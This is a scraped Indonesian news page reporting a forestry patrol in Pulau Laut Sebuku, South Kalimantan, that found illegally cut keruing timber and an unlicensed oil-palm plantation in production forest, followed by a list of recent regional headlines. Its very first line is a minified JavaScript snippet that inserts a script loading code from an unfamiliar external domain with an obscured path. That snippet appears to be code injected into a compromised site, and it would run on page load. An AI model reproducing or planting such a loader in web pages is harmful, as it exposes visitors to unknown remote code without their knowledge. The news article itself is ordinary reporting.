(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Patroli Pengaman Hutan KPH Pulau Laut Sebuku Temukan Penebangan Liar


BANJARBARU, Patroli Pengamanan Hutan KPH Pulau Laut Sebuku terus dilakukan dengan melakukan penelusuran pada beberapa titik kemungkinan jalan masuk arah TKP dugaan adanya penebangan liar. Pada salah satu jalan masuk yang dilakukan penelusuran, petugas mendapati adanya bekas jalan angkutan yang dicurigai digunakan untuk mengangkut kayu.

Pada ujung jalan, diketemukan adanya potongan kayu kecil dan tongkat kayu bulat diameter kurang dari 8 cm panjang ± 2-3 meter yang biasa digunakan untuk menarik kayu dari lokasi tebang secara manual.

Lalu, pada koordinat -3.38714, 116.21852 petugas mendapati adanya tumpukan kayu sebanyak 20 keping, yang berdasarkan peta pengukuhan kawasan hutan SK.2308/2017, areal tersebut berada pada HP yang berbatasan dengan IUPHHK PT. Inhutani II. Petugas melakuan penelusuran dengan mendaki jalan lokasi diduga keluarnya kayu, sampai dengan 200 m dari titik temuan namun belum mendapati adanya bekas tebangan.

“Dilihat dari jenis kayu yang berjenis keruing, diduga kuat berasal dari kawasan lindung yang sekarang berubah fungsi menjadi Tahura Sebatung. Atas kayu temuan tersebut, petugas belum dapat melakuan evakuasi karena terkendala angkutan dan curamnya medan/kontur, sehingga hanya memusnahkan kayu penarik manual,” kata petugas setempat.

Sepulang dari pemeriksaan lokasi diatas, petugas mendapati adanya perkebunan kelapa sawit yang diperkirakan berumur lebih dari 3 tahun masa tanam, perkebunan sawit dimaksud, masih berada pada kawasan HP tanpa beban perizinan. Selanjutnya dilakukan pengumpulan data dan informasi oleh petugas.

Pada salah satu lokasi, petugas mendapati adanya aktifitas di pondok tengah sawit yang dilakukan Sabirin. Ditanyakan siapa penguasa lahan dan sawit, ia mengatakan dikuasai oleh mereka secara turun temurun dan sebagian ada yang dibeli.

Dijelaskan oleh patugas, bahwa lokasi yang dikerjakan oleh mereka adalah kawasan hutan dan pada kawasan hutan dilarang melakukan aktifias perkebunan. Namun berdasarkan P.83/2016 untuk perkebunan perseorangan dapat dilakukan pola kemitraan. Nantinya masyarakat ada kepastian hukum serta berkontribusi ke negara. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Meta hingga TikTok Digugat karena Picu Kecanduan Remaja

KANALKALIMANTAN.COM - Meta Platforms, TikTok, dan YouTube akan menghadapi persidangan di pengadilan Amerika Serikat (AS)… Read More

44 menit ago

DPMPTSP Kenalkan Layanan MPP Balangan ke Perangkat Desa

KANALKALIMANTAN.COM, PARINGIN - Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) Kabupaten Balangan menyosialisasikan… Read More

59 menit ago

Wabup Kapuas Kunjungi Kecamatan Kapuas Hulu dan Mandau Talawang

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo bersama jajaran menempuh jalur sungai dan darat… Read More

14 jam ago

Unjuk Rasa di HSU, GOSTI: Berikan Jabatan ke Orang yang Bertanggung Jawab

‎KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mendapatkan dukungan menjalankan pemerintahan bersih… Read More

15 jam ago

Pesan Edukatif Street Art Dakwah South Borneo Lewat Mural dan Grafiti

KANALKALIMANTAN.COM, BANJARMASIN - Street Art Dakwah South Borneo memanfaatkan seni mural dan grafiti sebagai alat… Read More

16 jam ago

Unjuk Rasa di Halaman DPRD HSU

KANALKALIMANTAN.COM, AMUNTAI – Massa yang tergabung dalam Lembaga Swadaya Masyarakat (LSM) Gerakan Organisasi Sosial Terintegritas… Read More

16 jam ago

This website uses cookies.